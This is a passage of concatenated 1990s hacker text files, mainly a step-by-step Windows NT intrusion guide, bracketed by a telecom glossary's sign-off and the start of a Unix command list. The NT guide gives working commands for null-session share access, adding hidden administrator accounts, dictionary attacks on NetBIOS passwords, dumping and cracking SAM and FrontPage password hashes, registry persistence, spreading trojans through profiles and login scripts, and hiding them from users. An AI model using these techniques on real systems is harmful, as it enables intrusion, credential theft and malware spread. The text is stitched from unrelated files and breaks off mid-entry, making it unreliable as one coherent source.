Crossbar Switching XBT: Crossbar Tandem XNS Xerox Network Systems XSV Transfer Cost System Value XTC Extended Test Controller CONCLUSION ========== ---------Last words ========== Well, i sincerely hope that this file was of some use to you, and i would encourage you to distribute it as far as you can. If you enjoyed it, hated it, have suggestions, or whatever, feel free to email me at my Internet address(my only permanent one for now) or at a BBS, if you can find me. Have phun... - Deicide Recommended Reading =================== Neuromancer, Mona Lisa Overdrive, Count Zero and all the rest, by William Gibson The Hacker Crackdown, by Bruce Sterling Cyberpunk, by Katie Hafner and John Markoff The Cuckoo's Egg, by Cliff Stoll 2600: The best h/p printed zine. $21 in American funds, U.S. & Canada. 2600 Subscription Dept., P.O. Box 752, Middle Island NY 11953-0752 Office: 516-751-2600 Fax: 516-751-2608 The issues of CUD, cDc, & Phrack electronic newsletters, and the LOD/H TJs, all of which can be found on the Internet and any good h/p oriented BBS. BBSes ===== Although most boards have a lifespan equivalent to that of a fruitfly, I finally have a list which is somewhat stable.. getting on them is your problem.. just be yourself and be willing to learn. - Unphamiliar Territories - Demon Roach Underground - Temple of the Screaming Electron - Burn This Flag - Dark Side of the Moon and Phrozen Realm if it returns.. References ========== All the material used in this publication is original unless specifically stated otherwise. However, i'd like to thank Phrack and the LOD/H for their textfiles which gave me a valuable push in the right direction.. And of course all the great h/p folks who have helped me along the way.. And finally =========== Thanks to the EFF, for their continued support of all of the world's rights in this technological era. Thanks to all the folks running the FreeNets who continue to support the right to free access to information in this world of cynicism. Thanks to cDc, for not selling out after all these years... Musical inspirations: Primus, Rage Against the Machine, Jimi Hendrix, Led Zeppelin, Dead Kennedys, White Zombie, the Beastie Boys, etc, etc. "Yes I know my enemies. They're the teachers who taught me to fight me. Compromise, conformity, assimilation, submission, ignorance, hypocrisy, brutality, the elite" - /Know Your Enemy/ (c) Rage Against the Machine - Deicide deicide@west.darkside.com DISCLAIMER ========== This file was provided for informational purposes only. The author assumes no responsibilities for any individual's actions after reading this file. Windows NT Deconstruction Tatics Step by Step NT Explotation Techniques by vacuum of Rhino9 & Technotronic vacuum@technotronic.com Revision 5 10/01/98 Changes in Revision 5: Refined some NET.EXE examples. Included brief discussion of NetBus. Samba rdisk /s information. Made this .zip more like a unix rootkit by included all the mentioned tools. Cleaned up the overall layout. I. Initial Access Strategy 1.)NetBIOS Shares Using Microsoft Executables a. NET.EXE 's other uses 2.)NAT The NetBIOS Auditing Tool II.FrontPage Exploitation 1.)FrontPage password decryption on unix servers with frontpage extensions. III. Registry Vulnerabilities 1.) rdisk /s to dump the SAM (Security Account Manager) 2.) gaining access to the regisry with the AT.EXE command (local) 3.) REGEDT32.EXE and REGEDIT.EXE 4.) REGINI.EXE and REGDMP.EXE remote registry editing tools 5.) Using the Registry to Execute Malicious Code IV. Trojan .lnk (shortcuts) 1.)Security hole within winnt\profiles and login scripts V. Workarounds for common sytsem policy restrictions VI. PWDUMP Example Included Files: NTExploits.txt this document samproof.txt example of the sam hive from the registry notepad.reg Example .reg file that starts up notepad.exe upon login. Could be any executable. service.pwd Service.pwd frontpage password example. NetBIOS Shares Using the standard Microsoft Executables C:\>NBTSTAT -A 123.123.123.123 C:\>NBTSTAT -a www.target.com NetBIOS Remote Machine Name Table Name Type Status --------------------------------------------STUDENT1 <20> UNIQUE Registered STUDENT1 <00> UNIQUE Registered DOMAIN1 <00> GROUP Registered DOMAIN1 <1C> GROUP Registered DOMAIN1 <1B> UNIQUE Registered STUDENT1 <03> UNIQUE Registered DOMAIN1 <1E> GROUP Registered DOMAIN1 <1D> UNIQUE Registered ..__MSBROWSE__.<01> GROUP Registered MAC Address = 00-C0-4F-C4-8C-9D After a NetBIOS share is found, it can be added to the LMHOSTS file. Computername <03> UNIQUE Registered by the messenger service. This is the computername to be added to the LMHOSTS file which is not necessary to use NAT.EXE but is necessary if you would like to view the remote computer in Network Neighborhood. Example of LMHOSTS file: 123.123.123.123 student1 24.3.9.12 target2 Now you can use the find computer options within NT or 95 to browse the shares. An alternative option would be to use the very powerful NET.EXE C:\>net view 123.123.123.123 C:\>net view \\student1 Shared resources at 123.123.123.123 Share name Type Used as Comment -----------------------------------------------------------------------------NETLOGON Disk Test Disk Logon server share The command completed successfully. NOTE: The C$ ADMIN$ and IPC$ shares are hidden and are not shown. To connect to the ipc$ using a null session: C:\net use \\111.111.111.111\ipc$ "" /user:"" The command completed successfully. To connect to a normal share: C:\net use x: \\123.123.123.123\test The command completed successfully. Now the command prompt or the NT Explorer can be used to access the remote drive X: C:\net use New connections will be remembered. Status Local Remote Network ------------------------------------------------------------------------------OK X: OK \\123.123.123.123\test Microsoft Windows Network \\123.123.123.123\test Microsoft Windows Network The command completed successfully. Here are some other interesting things that NET.EXE can be used for that are not related to NetBIOS. NET localgroup <enter> will show which groups have been created on the local machine. NET name <enter> will show you the name of the computer as well as who is logged in. NET accounts <enter> will show the password restrictions for the user. NET share <enter> displays the shares for the local machine including the $ shares which are supposed to be hidden. NET share unsecure=c:\ will share the c:\ as unsecure NET user <enter> will show you which accounts are created on the local machine. NET user unsecure elite /add will add user unsecure with a password of elite. NET start SERVICE. NET start schedule will start the schedule service which can be used to access the complete registry on a local machine. NET group NET group Administrators unsecure /add will add the user unsecure to the Administrators group if run on a Domain Controller. NAT (NetBIOS Auditing Tool) This technique works the the default share type everyone full control. If you are denied access, permissions have been applied to the share, and a password will be required. NAT.EXE (NetBIOS Auditing Tool) NAT.EXE [-o filename] [-u userlist] [-p passlist] <address> OPTIONS -o Specify the output file. will All results from the scan be written to the specified file, in addition to standard output. -u Specify the file to read usernames from. Usernames will be read from the specified file when attempt- ing to guess the password on the remote Usernames server. should appear one per line in the speci- fied file. -p Specify the file to read passwords from. Passwords will be read from the specified file when attempt- ing to guess the password on the remote Passwords server. should appear one per line in the speci- fied file. <address> Addresses should be specified in comma deliminated format, with no spaces. Valid address specifica- tions include: hostname - "hostname" is added 127.0.0.1-127.0.0.3, adds addresses 127.0.0.1 through 127.0.0.3 127.0.0.1-3, adds addresses 127.0.0.1 through 127.0.0.3 127.0.0.1-3,7,10-20, adds addresses through 127.0.0.3, 127.0.0.7, 127.0.0.1 127.0.0.10 through 127.0.0.20. hostname,127.0.0.1-3, adds "hostname" and 127.0.0.1 through 127.0.0.1 All combinations of hostnames and address ranges as specified above are valid. NAT.EXE does all of the above techniques plus it will try Administrative shares ($), scan a range of IP addresses and use a dictionary file to crack the NetBIOS passwords. NAT.EXE is the tool prefered by most hackers. C:\nat -o vacuum.txt -u userlist.txt -p passlist.txt 204.73.131.10-204.73.131.30 [*]--- Reading usernames from userlist.txt [*]--- Reading passwords from passlist.txt [*]--- Checking host: 204.73.131.11 [*]--- Obtaining list of remote NetBIOS names [*]--- Attempting to connect with name: * [*]--- Unable to connect [*]--- Attempting to connect with name: *SMBSERVER [*]--- CONNECTED with name: *SMBSERVER [*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03 [*]--- Server time is Mon Dec 01 07:44:34 1997 [*]--- Timezone is UTC-6.0 [*]--- Remote server wants us to encrypt, telling it not to [*]--- Attempting to connect with name: *SMBSERVER [*]--- CONNECTED with name: *SMBSERVER [*]--- Attempting to establish session [*]--- Was not able to establish session with no password [*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `password' [*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `password' [*]--- Obtained server information: Server=[STUDENT1] User=[] Workgroup=[DOMAIN1] Domain=[] [*]--- Obtained listing of shares: Sharename Type Comment --------- ---- ------- ADMIN$ Disk: Remote Admin C$ Disk: Default share IPC$ IPC: Remote IPC NETLOGON Disk: Logon server share Test Disk: [*]--- This machine has a browse list: Server Comment --------- ------- STUDENT1 [*]--- Attempting to access share: \\*SMBSERVER\ [*]--- Unable to access [*]--- Attempting to access share: \\*SMBSERVER\ADMIN$ [*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$ [*]--- Checking write access in: \\*SMBSERVER\ADMIN$ [*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$ [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$ [*]--- Attempting to access share: \\*SMBSERVER\C$ [*]--- WARNING: Able to access share: \\*SMBSERVER\C$ [*]--- Checking write access in: \\*SMBSERVER\C$ [*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$ [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$ [*]--- Attempting to access share: \\*SMBSERVER\NETLOGON [*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON [*]--- Checking write access in: \\*SMBSERVER\NETLOGON [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON [*]--- Attempting to access share: \\*SMBSERVER\Test [*]--- WARNING: Able to access share: \\*SMBSERVER\Test [*]--- Checking write access in: \\*SMBSERVER\Test [*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Test [*]--- Attempting to access share: \\*SMBSERVER\D$ [*]--- Unable to access [*]--- Attempting to access share: \\*SMBSERVER\ROOT [*]--- Unable to access [*]--- Attempting to access share: \\*SMBSERVER\WINNT$ [*]--- Unable to access If Default share of Everyone/Full Control. Done it is hacked. FrontPage Exploitation: Most frontpage exploits compromise only the wwwroot directory and can be used to change the html of a site which has become a popular method of gaining fame in the hacker community. The following is a list of the Internet Information server files location in relation to the local hard drive (C:) and the web (www.target.com) C:\InetPub\wwwroot <Home> C:\InetPub\scripts /Scripts C:\InetPub\wwwroot\_vti_bin /_vti_bin C:\InetPub\wwwroot\_vti_bin\_vti_adm /_vti_bin/_vti_adm C:\InetPub\wwwroot\_vti_bin\_vti_aut /_vti_bin/_vti_aut C:\InetPub\cgi-bin /cgi-bin C:\InetPub\wwwroot\srchadm /srchadm C:\WINNT\System32\inetserv\iisadmin /iisadmin C:\InetPub\wwwroot\_vti_pvt C:\InetPub\wwwroot\samples\Search\QUERYHIT.HTM Internet Information Index Server sample C:\Program Files\Microsoft FrontPage\_vti_bin C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_aut C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_adm C:\WINNT\System32\inetserv\iisadmin\htmldocs\admin.htm /iisadmin/isadmin http://localhost:8814/iisadmin/iisnew.asp where 8814 is a randomly chosen port. By default only localhost (127.0.0.1) has access to the html version of Internet Server Mangager HTML Using FrontPage, a hacker may alter the html of a remote website often frontpage webs are left un-passworded. On the FrontPage Explorer's File menu, choose Open FrontPage Web. In the Getting Started dialog box, select Open an Existing FrontPage Web and choose the FrontPage web you want to open. Click More Webs if the web you want to open is not listed. Click OK. If you are prompted for your author name and password, you will have to decrypt service.pwd, guess or move on. Enter them in the Name and Password Required dialog box, and click OK. Alter the existing page, or upload a page of your own. Scanning PORT 80 (http) or 443 (https) options: GET /_vti_inf.html #Ensures that frontpage server extensions are installed. GET /_vti_pvt/service.pwd #Contains the encrypted password files. Not used on IIS and WebSite servers GET /_vti_pvt/authors.pwd #On Netscape servers only. Encrypted names and passwords of authors. GET /_vti_pvt/administrators.pwd GET /_vti_log/author.log #If author.log is there it will need to be cleaned to cover your tracks GET /samples/search/queryhit.htm Other ways of obtaining service.pwd http://ftpsearch.com/index.html search for service.pwd http://www.altavista.digital.com advanced search for link:"/_vti_pvt/service.pwd" Attempt to connect to the server using FTP. port 21 login anonymous password guest@unknown the anonymous login will use the internally created IISUSR_computername account to assign NT permissions. An incorrect configuration may leave areas vulnerable to attack. If you find a writeable anonymous ftp account, copy any executables (Netbus for example) to the c:\inetpub\scripts\ directory. The permissions on the scripts directory are as follows: Execute (including script). This is valuable, allowing you to http://www.target.com/scripts/patch.exe If service.pwd is obtained it will look similar to this: Vacuum:SGXJVl6OJ9zkE The above password is apple Turn it into DES format: Vacuum:SGXJVl6OJ9zkE:10:200:Vacuum:/users/Vacuum:/bin/bash The run your favorite unix password cracker like john.exe (John The Ripper) against a large dictionary file or ntucrack.exe which will brute force crack the password. Registry Vulnerabilities: RDISK rdisk /s will dump the security and sam portions of the registry into c:\winnt\repair directory. It will also give you the option of creating an emergency repair diskette. This .zip includes SAMDUMP.EXE which can be used to extract passwords from emergency repair diskettes. Within that directory there will be a sam._ file. It is ethically used for the emergency repair disk. If you have gained access to the local drive through physical access or through netbios shares, run rdisk /s There is a utility called SAMDUP included within this .zip that will extract the passwords. GAINING ACCESS TO THE ENTIRE REGISTRY (Local) For this to work, you will need to start the schedule service. From the Command Prompt: C:\>net start schedule The Schedule service is starting. The Schedule service was started successfully. From a Command Prompt: at <time> /interactive "regedt32.exe" Where, <time> gets replaced with the current time plus about a minute to take care of your command typing time. At <time>, regedt32.exe will appear on your desktop. This execution of regedt32.exe will be running in the system's security context. As such, it will allow you access to the entire registry, including SAM and SECURITY hives. Note that this will not work against a remote registry; you will need to do this locally on the system you want to modify registry. If sussessful, you will recive a message similar to the following: Added a new job with job ID = 0 samproof.txt example showing the SAM can be opened Where, <time> gets replaced with the current time plus about a minute to take care of your command typing time. At <time>, regedt32.exe will appear on your desktop. This execution of regedt32.exe will be running in the system's security context. As such, it will allow you access to the entire registry, including SAM and SECURITY hives. Note that this will not work against a remote registry; you will need to do this locally on the system you want to modify registry. Basic remote registry access that does not include the sam and security hives: Windows NT supports accessing a remote registry via the Registry Editor and also through the RegConnectRegistry() Win32 API call. The security on the following registry key dictates which users/groups can access the registry remotely: HKEY_LOCAL_MACHINE\ SYSTEM\ CurrentControlSet\ Control\ SecurePipeServers\ Winreg If this key does not exist, remote access is not restricted, and only the underlying security on the individual keys control access. In a default Windows NT workstation installation, this key does not exist. In a default Windows NT server installation, this key exists and grants administrators full control for remote registry operations, in addition to granting Everyone Create Subkey and Set Value access (special access). REGEDT32.EXE To access the registry of a REMOTE NT computer you must have ADMINISTRATOR RIGHTS. NAT.EXE (covered in the NetBIOS Section) has often lead to compromised administrator passwords. Administrators should turn off all shares, including C$ To modify the Registry on a remote computer Start Regedt32 1 On the File menu, click Connect. 2 Type the name of the remote computer. 3 In the Users on Remote Computer dialog box, click the user that is interactively logged on, and then click OK. Typically, there is only one user logged on. 4 Double-click Local User to change HKEY_CURRENT_USER Registry settings. 5 Double-click Local Computer to change HKEY_LOCAL_MACHINE Registry settings. 6 On the File menu, click Save. 7 On the File menu, click Disconnect. Notes: You can access the Registry only on computers for which you have administrative permission. The computer can be running any version of Windows NT Workstation or Windows NT Server. You can only access two predefined keys (HKEY_USERS and HKEY_LOCAL_MACHINE) of a remote computer registry. REGINI is a tool that can be used from the command line to manipulate (in our case write to) the registry on a REMOTE machine. A very closely related tool, REGDMP.EXE works very closely with the REGINI tool and can be used to "dump" the contents of the registry on a remote machine to a file for your browsing. It should be noted that the entire contents of the registry (The Security & SAM hives) will NOT be dumped as they were with the at <time> /interactive "regedt32.exe" technique mentioned above. REGINI.EXE usage: REGINI [-h hivefile hiveroot | -w Win95 Directory | -m \\machinename] [-i n] [-o outputWidth] [-c] codepage [-b] textFiles... where: -h specifies a specify local hive to manipulate. -w specifies the paths to a Windows 95 system.dat and user.dat files -m specifies a remote Windows NT machine whose registry is to be manipulated. -i n specifies the display indentation multiple. Default is 4 -o outputWidth specifies how wide the output is to be. By default the outputWidth is set to the width of the console window if standard output has not been redirected to a file. In the latter case, an outputWidth of 240 is used. -c specifies codepage of textFiles, if they are ANSI textFiles. -b specifies that REGINI should be backward compatible with older versions of REGINI that did not strictly enforce line continuations and quoted strings Specifically, REG_BINARY, REG_RESOURCE_LIST and REG_RESOURCE_REQUIREMENTS_LIST data types did not need line continuations after the first number that gave the size of the data. It just kept looking on following lines until it found enough data values to equal the data length or hit invalid input. Quoted strings were only allowed in REG_MULTI_SZ. They could not be specified around key or value names, or around values for REG_SZ or REG_EXPAND_SZ Finally, the old REGINI did not support the semicolon as an end of line comment character. textFiles is one or more ANSI or Unicode text files with registry data. The easiest way to understand the format of the input textFile is to use the REGDMP command with no arguments to dump the current contents of your NT Registry to standard out. Redirect standard out to a file and this file is acceptable as input to REGINI Some general rules are: Semicolon character is an end-of-line comment character, provided it is the first non-blank character on a line Backslash character is a line continuation character. All characters from the backslash up to but not including the first non-blank character of the next line are ignored. If there is more than one space before the line continuation character, it is replaced by a single space. Indentation is used to indicate the tree structure of registry keys The REGDMP program uses indentation in multiples of 4. You may use hard tab characters for indentation, but embedded hard tab than one space before the line continuation character, it is replaced by a single space. Indentation is used to indicate the tree structure of registry keys The REGDMP program uses indentation in multiples of 4. You may use hard tab characters for indentation, but embedded hard tab characters are converted to a single space regardless of their position For key names, leading and trailing space characters are ignored and not included in the key name, unless the key name is surrounded by quotes. Imbedded spaces are part of a key name. Key names can be followed by an Access Control List (ACL) which is a series of decimal numbers, separated by spaces, bracketed by a square brackets (e.g. [8 4 17]). The valid numbers and their meanings are: 1 - Administrators Full Access 2 - Administrators Read Access 3 - Administrators Read and Write Access 4 - Administrators Read, Write and Delete Access 5 - Creator Full Access 6 - Creator Read and Write Access 7 - World Full Access 8 - World Read Access 9 - World Read and Write Access 10 - World Read, Write and Delete Access 11 - Power Users Full Access 12 - Power Users Read and Write Access 13 - Power Users Read, Write and Delete Access 14 - System Operators Full Access 15 - System Operators Read and Write Access 16 - System Operators Read, Write and Delete Access 17 - System Full Access 18 - System Read and Write Access 19 - System Read Access 20 - Administrators Read, Write and Execute Access 21 - Interactive User Full Access 22 - Interactive User Read and Write Access 23 - Interactive User Read, Write and Delete Access If there is an equal sign on the same line as a left square bracket then the equal sign takes precedence, and the line is treated as a registry value. If the text between the square brackets is the string DELETE with no spaces, then REGINI will delete the key and any values and keys under it. For registry values, the syntax is: value Name = type data Leading spaces, spaces on either side of the equal sign and spaces between the type keyword and data are ignored, unless the value name is surrounded by quotes. The value name may be left off or be specified by an at-sign character which is the same thing, namely the empty value name. So the following two lines are identical: = type data @ = type data This syntax means that you can't create a value with leading or or trailing spaces, an equal sign or an at-sign in the value name, unless you put the name in quotes. Valid value types and format of data that follows are: REG_SZ text REG_EXPAND_SZ text REG_MULTI_SZ "string1" "string2" ... REG_DATE mm/dd/yyyy HH:MM DayOfWeek REG_DWORD numberDWORD REG_BINARY numberOfBytes numberDWORD(s)... REG_NONE (same format as REG_BINARY) REG_RESOURCE_LIST (same format as REG_BINARY) REG_RESOURCE_REQUIREMENTS (same format as REG_BINARY) REG_RESOURCE_REQUIREMENTS_LIST (same format as REG_BINARY) REG_FULL_RESOURCE_DESCRIPTOR (same format as REG_BINARY) REG_MULTISZ_FILE fileName REG_BINARYFILE fileName If no value type is specified, default is REG_SZ For REG_SZ and REG_EXPAND_SZ, if you want leading or trailing spaces in the value text, surround the text with quotes. The value text can contain any number of imbedded quotes, and REGINI will ignore them, as it only looks at the first and last character for quote characters. For REG_BINARY, the value data consists of one or more numbers The default base for numbers is decimal. Hexidecimal may be specified by using 0x prefix. The first number is the number of data bytes, excluding the first number. After the first number must come enough numbers to fill the value. Each number represents one DWORD or 4 bytes. So if the first number was 0x5 you would need two more numbers after that to fill the 5 bytes. The high high order 3 bytes of the second DWORD would be ignored. REGDMP.EXE usage: REGDMP [-m \\machinename | -h hivefile hiveroot | -w Win95 Directory] [-i n] [-o outputWidth] [-s] [-o outputWidth] registryPath where: -m specifies a remote Windows NT machine whose registry is to be manipula ted. -h specifies a specify local hive to manipulate. -w specifies the paths to a Windows 95 system.dat and user.dat files -i n specifies the display indentation multiple. Default is 4 -o outputWidth specifies how wide the output is to be. By default the outputWidth is set to the width of the console window if standard output has not been redirected to a file. In the latter case, an outputWidth of 240 is used. -s specifies summary output. Value names, type and first line of data registryPath specifies where to start dumping. If REGDMP detects any REG_SZ or REG_EXPAND_SZ that is missing the trailing null character, it will prefix the value string with the following text: (*** MISSING TRAILING NULL CHARACTER ***) The REGFIND tool can be used to clean these up, as this is a common programming error. Whenever specifying a registry path, either on the command line or in an input file, the following prefix strings can be used: HKEY_LOCAL_MACHINE HKEY_USERS HKEY_CURRENT_USER USER: Each of these strings can stand alone as the key name or be followed a backslash and a subkey path. RedButton exploits a flaw allowing the creation of a new entry in the registry which describes a new drive share with access granted to Everyone. After reboot the new share is published on the network to Everyone. By sharing system drive one can obtain a copy of a password file updated by rdisk -s from the %SYSTEMROOT%\Repair directory among other things. Please visit www.ntsecurity.com for further information as this program relates directly to the registry and NetBIOS share topic covered in this paper. Using the Registry to Execute Malicious Code Note: Regedit.exe lets you export keys to .reg files which can also be very handy. .REG files are used to directly change registry keys. The contents of a .reg file are similar to the contents of the textfile used with REGINI.EXE Example (included as notepad.reg) will launch notepad.exe on startup. This of course could be any executable. -- cut here -REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "Rhino9"="notepad.exe" -- cut here -Trojan Building: This is the properties of a evil .lnk (Shortcut) file. This technique uses the same strategy as the Internet Explorer 3.0 bug. You will NOT find an example of a working trojan here. There are plenty of malicious executables available elsewhere on the internet. Keyloggers, sniffers, pwdump.exe, getadmin.exe are a few examples. This document is meant to increase trojan awareness, not provide step-by-step instructions for novice hackers. To execute a .exe, .com, .bat, or .cmd C:\WINDOWS\COMMAND\START.EXE /m command.com /c trojan.bat For those of you familiar with NetBus 1.6 this would be a good way of launching patch.exe Patch.exe is the client portion of this popular remote control trojan. NOTE: Back Orifice currently does not run under the Windows NT environment. To add an entry to the registry C:\WINDOWS\COMMAND\START.EXE /m command.com /c trojan.reg Where trojan.reg looks similar to the example notepad.reg shown above. This evil shortcut can be propagated throughout NT domains through Profiles. Use START.EXE to cause a wide variety of commands / executables to be launched. START ["title"] [/Dpath] [/I] [/MIN] [/MAX] [/SEPARATE | /SHARED] [/LOW | /NORMAL | /HIGH | /REALTIME] [/WAIT] [/B] [command/program] [parameters] "title" Title to display in window title bar. path Starting directory I The new environment will be the original environment passed to the cmd.exe and not the current environment. MIN Start window minimized MAX Start window maximized SEPARATE Start 16-bit Windows program in separate memory space SHARED Start 16-bit Windows program in shared memory space LOW Start application in the IDLE priority class NORMAL Start application in the NORMAL priority class HIGH Start application in the HIGH priority class REALTIME Start application in the REALTIME priority class WAIT Start application and wait for it to terminate B Start application without creating a new window. The application has ^C handling ignored. Unless the application enables ^C processing, ^Break is the only way to interrupt the application NOTE: /m is used to minimize the window another available option is /wait which will cause the program to wait until the other program exits /B starts application without creating new window. Play with these switches to get desired effect. Starts a separate window to run a specified program or command. start.exe and at.exe can be used in combination if the scheduler service is started. Security hole within winnt\profiles and login scripts Using the trojan building information above, trojans can be deseminated by strategically placing .lnk shortcuts or modifying the login script. A malicious executable file can be planted in: C:\WINNT\Profiles\Default User\Start Menu\Programs\Startup Any user logging in to the machine for the first time would inherit your malicious shortcuts. or C:\WINNT\Profiles\userid of exiting user\Start Menu\Programs\Startup would cause existing users to launch your malicious shortcuts on startup. If roaming profiles are turned on, your malicious shortcut would follow the user as they logged on from machine to machine. If you install these .lnk files on the primary domain controller in the winnt\profiles\userid directory they would also pass themselves down to the workstation when the user logged in. If you are unable to install your trojan in a roaming profile environment or the Primary Domain Controller the trojan would not spread unless placed into the login script. C:\WINNT\SYSTEM32\REPL\IMPORT\SCRIPTS Is the location that login scripts (.CMD) files are stored. Malicious code can be inserted into a new or existing login script. All users loging on to the machine would execute this code. Here are the default NTFS permissions: C:\WINNT\PROFILES and C:\WINNT\SYSTEM32\REPL\IMPORT\SCRIPTS Administrators Full Control Everyone Read System Full Control FAT Partitions have no file level security. New users logging into the system would automatically execute this program everytime they login. If this is done on NT Workstation the attack will only spread to new users logging into the workstation locally. If this attack is performed on a NT domain controller it would spread throughout the domain profiles. Hiding Detection Replace an existing startup program with trojan. Rename your trojan so that it is not suspicious. Change the properties of the trojan's icon to look like the replaced icon. An antivirus program would be a great choice, you could even launch the real, renamed application after your trojan is loaded. Workarounds for common sytsem policy restrictions: System Policies are implemented to restrict the user from performing certain tasks. Installing Printers: If you do not have access to the printers folder from the Start/Settings/Printers or from the My Computer Icon.Click Network Neighborhood. Double-Click on your computername. The printers folder will be available. Open the folder and Double Click on the Add-Printer Icon to start the Printer Installation Wizard. Control Panel Restrictions: If you do not have access to the Control Panel from Start/Settings/Control Panel or from the My Computer Icon.Click Start/Help/Index (If you do not have help, you can open it using Explorer or My Computer. C:\winnt\System32\control.hlpSearch for Control Panel All of the normally displayed icons appear as help topics. Double-click on If you click on "Network" for example a Windows NT Help Screen appears with a nice little shortcut to the Control Panel Network Settings. Printers can also be installed using this method as well as the method mentioned above. Network options can also be accessed by right clicking on Network Neighborhood and then selecting properties. Missing Command Prompt: Start NT Explorer change tgo c:\winnt\system32 Double click on COMMAND.COM a command prompt will start. This is also well known, but included for thoroughness. Find Command is gone from Start/Find or from within NT Explorer: To find a computer:If you have a command prompt: Net View <Enter> is like Network Neighborhood Net View \\COMPUTERName is like Double Clicking on a computer within network neighborhood Net use x: \\Computername\Sharename maps a drive letter to the share. Finding a file is simple:dir filename.ext /sRun Command Missing: This is rather obvious but I will include it as it is a valid system policy restriction. Navigate your Hard Disk using My Computer, winfile or NT Explorer. Double-click on the program you wish to run. Duh! System Policies that I have NOT found a workaround for yet: If your display settings are restricted in control panel. If registry editing has been disabled. PWDUMP.EXE When running pwdump.exe it is a good idea to echo the results to a file. Otherwise, the results are just dumped to the screen. pwdump >pwd.txt NOTE: This is the pwdump from the webserver the Lan Manager password is set to "password". Administrator:500:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B75 86C:Built-in account for administering the computer/domain:: Guest:501:NO PASSWORD*********************:Built-in PASSWORD*********************:NO account for guest access to the computer/domain:: STUDENT7$:1000:E318576ED428A1DEF4B21403EFDE40D0:1394CDD8783E60378EFEE40503127253 ::: ketan:1005:********************************:********************************::: mari:1006:********************************:********************************::: meng:1007:********************************:********************************::: IUSR_STUDENT7:1014:582E6943331763A63BEC2B852B24C4D5:CBE9D641E74390AD9C1D0A962CE8 C24B:Internet Guest Account,Internet Server Anonymous Access:: Some SAMBA Commands: smbmount is similar to the net use command. usage: smbmount //server/service mount-point [options] Version 2.0.2 -p port Port to connect to (used only for testing) -m max_xmit max_xmit offered (used only for testing) -s servername Netbios name of server -c clientname Netbios name of client -I machinename The hostname of the machine -U username Username sent to server -D domain Domain name -u uid uid the mounted files get -g gid gid the mounted files get -f mode permission the files get (octal notation) -d mode permission the dirs get (octal notation) -C Don't convert password to uppercase -P password Use this password -n Do not use any password If neither -P nor -n are given, you are asked for a password. -h print this help text NMBLOOKUP is the equivalent of nbtstat. Usage: nmblookup [-M] [-B bcast address] [-d debuglevel] name Version 1.9.18p7 -d debuglevel set the debuglevel -B broadcast address the address to use for broadcasts -U unicast address the address to use for unicast -M searches for a master browser -R set recursion desired in packet -S lookup node status as well -r Use root port 137 (Win95 only replies to this) -A Do a node status on <name> as an IP Address Here is an example of nmblookup results, similar to nbtstat of course. No interface found for address 0.0.0.0 Sending queries to 0.255.255.255 Looking up status of 207.98.201.199 received 7 names SATAN <00> - B <ACTIVE> SATAN <20> - B <ACTIVE> INet~Services <1c> - <GROUP> B <ACTIVE> WORKGROUP <00> - <GROUP> B <ACTIVE> IS~SATAN <00> - B <ACTIVE> SATAN <03> - B <ACTIVE> HAX0R <03> - B <ACTIVE> num_good_sends=0 num_good_receives=0 Psychotic's Unix Bible Writen by Virtual Circuit * Psychotic's Unix Bible writen by Virtual Circuit. This document may not be changed in any way. You may distribute this unix bible as much as you like, I wrote it as a reference for the public and that's how I want it to remain. Any questions you have regarding this text you may reach me at rhat@cts.com. * A list of commands and a quick description alias ......... this allows the user view the current aliases awk ............ this allows the user to search for a pattern within a file bdiff .......... compares two large files bfs ............ scans a large file cal ............ shows a calendar cat ............ concatenates and prints a file cc ............. c compiler cd ............. changes directories chgrb .......... changes a file groups ownership chmod .......... changes the permission on a file chown .......... changes the individual ownership of a file cmp ............ compairs two files comm ........... compares two files so as to determine which lines are common to both cp ............. copies file to another location cu ............. calls another unix sysytem date ........... returns the date and time df ............. shows all mounted drives on your machine diff ........... displays the diference between two files du ............. shows the disk usage in blocks for a directory echo ........... echoes the data to the screen or file ed ............. text editor env ............ lists the current environment variables ex ............. another text editor expr ........... evaluates a mathmatical formula find ........... finds a file f77 ............ fortran complier format ......... initializes a floppy disk grep ........... searches for a pattern within a file help ........... gives help kill ........... stops a running process ln ............. creates a link between two files lpr ............ copies the file to the line printer ls ............. lists the files in a directory mail ........... allows the user to send/receive mail mkdir .......... makes directory more ........... displays a data file to the screen mv ............. used to move or rename files nohup .......... allows a command to continue running even when you log out nroff .......... used to format text passwd ......... changes your password pkgadd ......... installs a new program onto your machine ps ............. Lists the current processes running pwd ............ displays the name of the working directory rm ............. removes files rmdir .......... removes directories set ............ lists all the variables in the current shell setenv ......... sets the environment variables sleep .......... causes a process to become inactive source ......... allows the user to execute a file and update any changed values in that file sort ........... sorts files spell .......... checks for spelling errors in a file split .......... divides a file stty ........... sets the terminal options tail ........... displays the end of a file tar ............ copies all specified files into one touch .......... creates an empty file or updates the time/date stamp on a file troff .......... outputs formatted output tset ........... sets the terminal type umask .......... specify a new creation mask uniq ........... compairs two files uucp ........... unix to unix execute vi ............. full screen editor vipw ........... opens the vi editor as well as password file for editing volcheck ....... checks to see if there is a floppy disk mounted to your machine wc ............. displays detail in the full size who ............ inf. on other people online write .......... send a message to another user ! .............. repeats commands More commands with a better description (Not all commands are listed): cat: -b, --number-nonblank Number all nonblank output lines, starting with 1. -e Equivalent to -vE. -n, --number Number all output lines, starting with 1. -s, --squeeze-blank Replace multiple adjacent blank lines with a single blank line. -t Equivalent to -vT. -u Ignored; for Unix compatibility. -v, --show-nonprinting Display control characters except for LFD and TAB using `^' notation and characters that have the high bit set with `M-'. -A, --show-all Equivalent to -vET. -E, --show-ends Display a `$' after the end of each line. -T, --show-tabs Display TAB characters as `^I'. --help Print a usage message and exit with a status code indicating success. --version precede Print version information on standard output then exit. cd: directory becomes the new 